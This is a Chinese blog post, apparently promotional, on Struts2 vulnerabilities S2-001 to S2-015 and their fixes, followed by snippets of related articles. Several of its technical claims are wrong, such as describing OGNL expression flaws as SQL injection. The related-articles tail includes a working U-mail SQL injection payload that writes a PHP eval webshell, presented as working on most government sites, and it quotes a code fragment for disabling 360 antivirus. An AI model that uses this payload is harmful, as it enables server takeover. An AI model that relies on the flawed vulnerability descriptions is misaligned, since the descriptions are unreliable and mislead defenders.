struts2架构网站漏洞修复详情与利用漏洞修复方案

struts2从开发出来到现在,很多互联网企业,公司,平台都在使用apache struts2系统来开发网站,以及应用系统,这几年来因为使用较多,被***者挖掘出来的struts2漏洞也越来越,从最一开始S2-001到现在的最新的s2-057漏洞,本文着重的给大家介绍一下struts2漏洞的利用详情以及漏洞修复办法。

先从1开始吧,S2-001影响的版本是Struts 2.0.0 - Struts 2.0.8版本,最早开始的版本漏洞太低级,当时的apache官方并没有设置安全机制,导致在提交参数的时候紧接的执行了递归化查询数据,导致可以插入恶意参数进行SQL注入***。

s2-001漏洞的修复是将struts2的默认altsyntax功能进行关闭使用其他方式进行递归化的查询,为什么要关闭altsyntax功能是因为这个功能的标签会自动的进行表达式的安全解析,关闭该功能就不会进行解析恶意参数了。

s2-003漏洞是没有过滤恶意参数,导致可以进行参数注入,影响的版本是Struts 2.0.0 - Struts 2.0.11.2版本,这次的版本新添加了一个功能就是安全拦截器,在参数传输过程中进行了关键词安全检测,一些非法注入的参数可以被过滤掉,但是apache官方并没有过滤掉特殊编码的方式进行提交,导致伪造编码进行了sql注入***,该漏洞的修复方案是关于编码注入这里进行详细的过滤,并使用了正则表达式进行过滤非法的注入参数。

s2-005漏洞产生的原因也跟上次的S2-003大致相同,也是在传入参数值的时候带进了恶意非法注入参数,导致可以使用ognl解析的方式来进行远程代码的注入执行。关于该漏洞的修复是需要将apache系统参数值denyMethodExecution设置为关闭,然后将参数的拦截过滤系统进行了升级,更为严格的一个正则表达式过滤。

S2-007,S2-008,S2-009漏洞详情是需要开启decmode开发模式,在调试开发代码过程中存在了注入的漏洞,甚至对于单引号并没有进行安全限制,导致可以提交到后台进行转义,造成变量上的转义注入,S2-009也是POST提交参数的注入***,跟S2-005,S2-003的参数注入不同的是,没有对其参数里的安全值进行过滤,导致可以插入恶意参数进行SQL数据库注入***。 同样的官方修复方案是对其过滤系统进行升级,严格执行正则表达式过滤一些可能导致注入的非法参数。

S2-012漏洞的产生原因是默认的apache 配置文件struts.xml对默认的对象进行了重定向的一个功能设置,导致该重定向之解析表达式的过程中产生了远程代码执行漏洞,关于该漏洞的修复官方进行了表达式解析的安全过滤。

S2-013漏洞利用是因为标签属性的原因,标签设置参数里竟然可以执行表达式,会让URL值的参数进行传递表达式,漏洞的修复也很简单对其标签属性进行了删除。S2-015的漏洞是因为系统配置里的任意通配符映射导致二次执行ognl表达式进行了远程代码的执行漏洞,首先该系统没有对网站URL进行白名单的安全检测,当使用一些特殊符号叹号,百分号的时候可以直接提交上去。造成了恶意代码的远程执行。漏洞的修补办法是对DefaultActionMapper的类进行了安全检测,过滤非法的注入代码。

如果您对网站的漏洞不懂的话,建议让网站安全公司帮您修复网站漏洞,以及清除***后门,做好网站安全加固防止被***,国内的网站安全公司,像SINE安全公司、绿盟安全公司、启明星辰、都是比较专业的。

以上是S2-001到S2-015漏洞的产生原因,以及漏洞修复的办法介绍,因为文章字数限制,其他版本的struts2漏洞将会在下一篇文章中给大家讲解。

原文地址:http://blog.51cto.com/13753419/2325210

时间: 2024-08-01 08:50:55

struts2架构网站漏洞修复详情与利用漏洞修复方案的相关文章

msf下的LNK漏洞(CVE-2017-8464)利用

0x01 前言 RCE漏洞存在于Windows处理LNK文件的环节.攻击者利用漏洞可以获得与本地用户相同的用户权限.被使用此漏洞攻击时,用户权限较少的账户相较管理员权限的用户受到的影响更小. 攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制,文件可以存放在可移动磁盘或远程共享中.当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件,打开此驱动器 (或远程共享) 时,恶意文件就会在目标系统上执行攻击者的代码. 0x02 漏洞环境搭建与利用 漏洞环境搭建: kalix86

[转载20131024]Nginx服务器漏洞的利用和修复方法

本文主要分为两大部分,第一部分介绍了Nginx的一些常见安全漏洞的形成原因.利用方法,并给出了相应的解决办法;第二部分介绍了Nginx安全加固时需要关注的主要内容. Nginx(发音同engine x)是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,由俄罗斯的程序设计师Igor Sysoev所开发,可以稳定地运行在Linux.Windows等操作系统上,其特点是占用内存少,并发能力强. 同其他软件一样,Nginx也出现过一些安全漏洞,利用这些漏洞可以对Web

网站漏洞修复之UEditor漏洞 任意文件上传漏洞 2018 .net新

UEditor于近日被曝出高危漏洞,包括目前官方UEditor 1.4.3.3 最新版本,都受到此漏洞的影响,ueditor是百度官方技术团队开发的一套前端编辑器,可以上传图片,写文字,支持自定义的html编写,移动端以及电脑端都可以无缝对接,自适应页面,图片也可以自动适应当前的上传路径与页面比例大小,一些视频文件的上传,开源,高效,稳定,安全,一直深受站长们的喜欢. 百度的UEditor文本编辑器,近几年很少被曝出漏洞,事情没有绝对的,总会有漏洞,这次被曝出的漏洞是.net版本的,其他的php

网站有漏洞被***该怎么解决和修复

2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell提权写入网站***到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP 5.0.ThinkPHP 5.0.10.ThinkPHP5.0.12.ThinkPHP5.0.13.ThinkPHP5.0.23.thinkphp 5.0.22版本. ***者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因是继上次2019元旦前后爆出的网站漏洞后,又一次的致命漏洞.在

小白日记24:kali渗透测试之提权(四)--利用漏洞提权

利用漏洞提权实例 前提:已渗透进一个XP或2003系统 一.实验目标漏洞:Ms11-080 补丁:Kb2592799 漏洞信息:https://technet.microsoft.com/library/security/ms11-080 1.通过searchsploit命令查找漏洞 [注:查找漏洞的命令行窗口要能完全显示Title和Path] #有python和ruby两种漏洞利用代码,可根据自己喜好选择,本章选择python 2.通过Sandi查找 查看漏洞利用代码的描述 #通过Afd.sy

Fckeditor常见漏洞的挖掘与利用整理汇总

查看编辑器版本 FCKeditor/_whatsnew.html ------------------------------------------------------------- 2. Version 2.2 版本 Apache+linux 环境下在上传文件后面加个.突破!测试通过. ------------------------------------------------------------- 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未

网站安全(7) —— PHP文件包含漏洞介绍

其原理就是注入一段用户能控制的脚本或代码,并让服务端执行.文件包含漏洞可能出现在JSP.PHP. ASP等语言中,原理都是一样的,本文只介绍PHP文件包含漏洞. 要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件: 1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 (文件包含函数还有 include_once().require().require_once()) 2. 用户能够控制该动态变量 现在来看一段简单的文件包含代码: ? 1 2 3 <?ph

利用漏洞溢出掉360安全卫士逆向分析

注:本文测试环境为360安全卫士9.0,最新版的安全卫士已修复此漏洞 现象 某个木马运行后可以关闭360安全卫士,经过逆向分析发现该木马只是简单运行了以下代码: /* HMODULE h360 =GetModuleHandle(TEXT("safemon.dll")); int i = 0; for (i = 0; i<0x30000; i++) { if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x

大部分政府网站U-mail存在直接拿shell漏洞

大部分网站政府网站U-mail存在直接拿shell漏洞加入webmail/userapply.php?execadd=333&DomainID=111直接爆出物理地址 然后将 aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,11,12,13,14 into outfile 'D:/umail/WorldClient/html/saknc.php'#用base64编译一下YWEnIHVuaW9uIHNlbGVjdC